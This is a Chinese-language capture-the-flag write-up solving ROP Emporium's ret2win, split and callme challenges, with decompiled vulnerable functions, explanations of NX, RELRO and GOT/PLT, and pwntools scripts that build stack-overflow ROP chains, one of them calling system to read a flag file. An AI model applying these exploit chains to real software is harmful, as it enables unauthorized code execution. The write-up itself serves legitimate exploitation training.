ROP Emporium - Challenge1-3 Writeup

ROP Emporium Chanllenge1-3 Writeup

  • 仅做 x86_64 和 x86 的题目

Challenge1 ret2win

题目说明及文件:https://ropemporium.com/challenge/ret2win.html

属于 ret2text,目的是控制程序执行它本身所拥有的代码(.text)获得 flag

x86_64

程序分析

使用 checksec 检查开启的安全保护:

1
2
3
4
5
6
[*] '/home/ubuntu/Datas/rop-emporium/ret2win/ret2win'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)

发现开启了 NXPartial RELRO

NXPartial RELRO 等是什么?

  • NX:不可执行栈,即栈上的数据不可执行,防止栈溢出往栈上注入 shellcode 执行
  • RELRO:全称 Relocation Read-Only,即只读重定位,防止 GOT 覆盖攻击
    • Full RELRO:所有重定位表都是只读的,包括 PLT 和 GOT
    • Partial RELRO:只有 PLT 是只读的,GOT 是可写的
    • No RELRO:所有重定位表都是可写的

再使用 Ghidra 反编译分析源码,容易找到存在栈溢出的函数 pwnme()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
void pwnme(void)

{
undefined local_28 [32];

memset(local_28,0,0x20);
puts(
"For my first trick, I will attempt to fit 56 bytes of user input into 32 bytes of stack buffe r!"
);
puts("What could possibly go wrong?");
puts(
"You there, may I have your input please? And don\'t worry about null bytes, we\'re using read ()!\n"
);
printf("> ");
read(0,local_28,56); // 存在栈溢出
puts("Thank you!");
return;
}

在程序中发现可以直接获取到 flag 的函数 ret2win

image-20220307155836064

思路

  1. 没有Canary,直接通过栈溢出修改返回地址,让程序跳转执行 ret2win 函数
  2. 得到 flag

当程序执行到 pwnme 函数的 leave; ret 时,可以看到此时栈的数据情况如下:

Pasted image 20220818102948

payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from pwn import *

context.update(arch='amd64', log_level='info')

elf = ELF('./ret2win')
rop = ROP(elf)
io = elf.process()

payload = flat([
cyclic(32), # 填充缓冲区
cyclic(8), # fake rbp
p64(rop.ret.address), # 加一个ret gadget
p64(elf.sym.ret2win) # ret address
])
io.recv()
io.sendline(payload)
io.interactive()

为何要加一个 ret gadget ?

  在 Ubuntu 18 以上版本下执行 system 系统调用时需要栈对齐 0x10,不对齐时会导致程序崩溃退出,例如 这里的 system 函数;遇到无法正常利用的情况可以通过添加 ret gadget 让栈对齐。

不加 ret gadget 时会出现下面的 Segmentation fault:

Pasted image 20220818103522

movaps xmmword ptr [rsp + 0x50], xmm0 这个指令会检查栈是否16字节对齐,对齐时 RSP 值末尾需要是 0

  • 符号表中存在目标函数名称时,在 pwntools 中可以直接通过 elf.sym.函数名 获取函数地址

得到 flag:ROPE{a_placeholder_32byte_flag!}

x86

分析

32 位程序的缓冲区大小略有不同:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
void pwnme(void)

{
undefined local_2c [40];

memset(local_2c,0,0x20);
puts(
"For my first trick, I will attempt to fit 56 bytes of user input into 32 bytes of stack buffe r!"
);
puts("What could possibly go wrong?");
puts(
"You there, may I have your input please? And don\'t worry about null bytes, we\'re using read ()!\n"
);
printf("> ");
read(0,local_2c,56);
puts("Thank you!");
return;
}

思路

思路同上

payload

payload 稍加修改:

1
2
3
4
5
payload = flat([
cyclic(40), # buffer
cyclic(4), # fake esp
p32(elf.sym.ret2win) # return address
])

得到 flag:ROPE{a_placeholder_32byte_flag!}

Challenge2 split

题目说明及文件: https://ropemporium.com/challenge/split.html

x86_64

程序分析

检查开启的安全保护:

1
2
3
4
5
6
[*] '/home/ubuntu/Datas/rop-emporium/split/split'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)

发现开启了 NX 和 Partial RELRO

再反编译分析源码,同样容易找到存在栈溢出的函数 pwnme():

1
2
3
4
5
6
7
8
9
10
11
12
13
void pwnme(void)

{
undefined local_28 [32];

memset(local_28,0,0x20);
puts("Contriving a reason to ask user for data...");
printf("> ");
read(0,local_28,0x60);
puts("Thank you!");
return;
}

这一次没有了可以直接获取 flag 的函数,但是在 .got.plt 表中发现有 system 函数:

image-20220307165702896

.got.plt 是什么?

.got.plt: This is the GOT for the PLT. It contains the target addresses (after they have been looked up) or an address back in the .plt to trigger the lookup. Classically, this data was part of the .got section.

  • 相当于是 .plt 的 GOT 全局偏移表
    • 当目标函数查找过时,其中存储有函数的具体地址
    • 当目标函数并未查找过时,其中存储有跳转到 .plt 的代码 (未开启 Full RELRO 时)
  • 关于 GOT、PLT 具体的内容可学习 CSAPP 第7章 – 链接
  • 这里借用 .got.plt 表来查看当前程序调用了哪些 libc 函数,我们可以直接通过 plt 表来获取函数的地址用来构造 ROP

另外在 data 段中发现有用的字符串:/bin/cat flag.txt

image-20220307164132689

考虑直接调用 system("/bin/cat flag.txt"),x86_64 中函数的第一个参数通过 rdi 寄存器传递

找 gadget,有 pop rdi; ret

image-20220307170816647

GadgetFinder 的使用

  1. ropper
    • 安装:pip3 install ropper
    • 使用:ropper -f <program> --search="pop rdi"
  2. ROPgadget
    • 安装:pip3 install ROPgadget
    • 使用:ROPgadget --binary <program> | grep "pop rdi"

思路

没有 Canary,直接通过栈溢出修改返回地址,可构造ROP链进行调用

  1. 调用 pop rdi gadget,将 rdi 指向 /bin/cat flag.txt
  2. 调用 system 函数,执行 system("/bin/cat flag.txt")
  3. 得到 flag

payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from pwn import *

context.update(arch='amd64', log_level='debug')
elf = ELF('./split')
rop = ROP(elf)
io = elf.process()

POP_RDI_RET = 0x00000000004007c3

payload = flat([
cyclic(32), # buffer
cyclic(8), # fake rbp
p64(rop.ret.address), # ret gadget
p64(POP_RDI_RET), # 参数1
p64(elf.sym.usefulString), # "/bin/cat flag.txt"
p64(elf.plt.system) # system("/bin/cat flag.txt")
])
io.recv()
io.send(payload)

io.interactive()

得到 flag:ROPE{a_placeholder_32byte_flag!}

x86

程序分析

32 位程序的缓冲区大小略有不同:

1
2
3
4
5
6
7
8
9
10
11
12
void pwnme(void)

{
undefined local_2c [40];

memset(local_2c,0,0x20);
puts("Contriving a reason to ask user for data...");
printf("> ");
read(0,local_2c,0x60);
puts("Thank you!");
return;
}

思路

思路同上,不过 x86 函数调用中,参数在栈上传递:x86 函数调用栈

payload

payload 稍加修改:

1
2
3
4
5
6
7
payload = flat([
cyclic(40), # buffer
cyclic(4), # fake ebp
p32(elf.plt.system), # return address
cyclic(4), # next return address
p32(elf.sym.usefulString) # 参数1
])

得到 flag:ROPE{a_placeholder_32byte_flag!}

Challenge3 callme

题目说明及文件: https://ropemporium.com/challenge/callme.html

x86_64

程序分析

检查开启的安全保护:

1
2
3
4
5
6
7
[*] '/home/ubuntu/Datas/rop-emporium/callme/callme'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
RUNPATH: b'.'

发现开启了 NX 和 Partial RELRO

再反编译源码,同样容易找到存在栈溢出的函数 pwnme():

1
2
3
4
5
6
7
8
9
10
11
12
13
void pwnme(void)

{
undefined local_28 [32];

memset(local_28,0,0x20);
puts("Hope you read the instructions...\n");
printf("> ");
read(0,local_28,0x200);
puts("Thank you!");
return;
}

这里有 usefulFunction 函数:

image-20220307174011602

根据题目所描述,需要依次调用 callme_one(0xdeadbeefdeadbeef, 0xcafebabecafebabe, 0xd00df00dd00df00d)callme_two(0xdeadbeefdeadbeef, 0xcafebabecafebabe, 0xd00df00dd00df00d)callme_three(0xdeadbeefdeadbeef, 0xcafebabecafebabe, 0xd00df00dd00df00d) 函数,然后即可得到 flag

x86_64 的函数调用,参数1、参数2、参数3分别通过 RDI、RSI 和 RDX 寄存器传递

程序中可以找到 usefulGadgets,刚好可以用来指定这三个参数:

image-20220307174539471

思路

没有 Canary,直接通过栈溢出修改返回地址,可构造ROP链进行调用

  1. 先调用 usefulGadgets,将 rdi、rsi 和 rdx 分别赋值 0xdeadbeefdeadbeef0xcafebabecafebabe0xd00df00dd00df00d
  2. 再调用 callme_one 函数
  3. 再调用 usefulGadgets 然后调用 callme_two
  4. 再调用 usefulGadgets 然后调用 callme_three
  5. 得到 flag

payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
from pwn import *

context.update(arch='amd64')
context.log_level = 'debug'

elf = ELF('./callme')
io = elf.process()

payload = flat([
cyclic(32),
cyclic(8),
p64(elf.sym.usefulGadgets), # pop rdi; pop rsi; pop rdx;
p64(0xdeadbeefdeadbeef), # 参数1
p64(0xcafebabecafebabe), # 参数2
p64(0xd00df00dd00df00d), # 参数3
p64(elf.sym.callme_one),
p64(elf.sym.usefulGadgets),
p64(0xdeadbeefdeadbeef),
p64(0xcafebabecafebabe),
p64(0xd00df00dd00df00d),
p64(elf.sym.callme_two),
p64(elf.sym.usefulGadgets),
p64(0xdeadbeefdeadbeef),
p64(0xcafebabecafebabe),
p64(0xd00df00dd00df00d),
p64(elf.sym.callme_three)
])
io.recv()
io.sendline(payload)

io.interactive()

得到 flag:

1
2
3
4
5
6
7
8
9
10
Thank you!
[DEBUG] Received 0x1e bytes:
b'callme_one() called correctly\n'
callme_one() called correctly
[*] Process '/home/ubuntu/Datas/rop-emporium/callme/callme' stopped with exit code 0 (pid 10210)
[DEBUG] Received 0x3f bytes:
b'callme_two() called correctly\n'
b'ROPE{a_placeholder_32byte_flag!}\n'
callme_two() called correctly
ROPE{a_placeholder_32byte_flag!}

x86

程序分析

32 位程序的缓冲区大小略有不同:

1
2
3
4
5
6
7
8
9
10
11
12
void pwnme(void)

{
undefined local_2c [40];

memset(local_2c,0,0x20);
puts("Hope you read the instructions...\n");
printf("> ");
read(0,local_2c,0x200);
puts("Thank you!");
return;
}

思路

没有 Canary,直接通过栈溢出修改返回地址,可构造ROP链进行调用,稍不同于64位,执行完一个函数后需要先跳转回漏洞函数,再次触发栈溢出漏洞

  1. 调用 callme_one 函数,然后将程序再次跳回 main,重新触发栈溢出漏洞
  2. 调用 callme_two 函数,然后将程序再次跳回 main,重新触发栈溢出漏洞
  3. 调用 callme_three 函数
  4. 得到 flag

payload

payload 改动较大:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
payload = flat([
cyclic(40),
cyclic(4),
p32(elf.sym.callme_one), # return address
p32(elf.sym.pwnme), # next address
p32(0xdeadbeef), # 参数1
p32(0xcafebabe), # 参数2
p32(0xd00df00d), # 参数3
])
payload2 = flat([
cyclic(40),
cyclic(4),
p32(elf.sym.callme_two),
p32(elf.sym.pwnme),
p32(0xdeadbeef),
p32(0xcafebabe),
p32(0xd00df00d),
])
payload3 = flat([
cyclic(40),
cyclic(4),
p32(elf.sym.callme_three),
p32(elf.sym.exit),
p32(0xdeadbeef),
p32(0xcafebabe),
p32(0xd00df00d),
])
io.recv()
io.sendline(payload)
io.recv()
io.sendline(payload2)
io.recv()
io.sendline(payload3)

得到 flag:

1
2
3
4
5
6
7
8
9
10
11
[DEBUG] Received 0x6f bytes:
b'callme_two() called correctly\n'
b'Hope you read the instructions...\n'
b'\n'
b'> Thank you!\n'
b'ROPE{a_placeholder_32byte_flag!}\n'
callme_two() called correctly
Hope you read the instructions...

> Thank you!
ROPE{a_placeholder_32byte_flag!}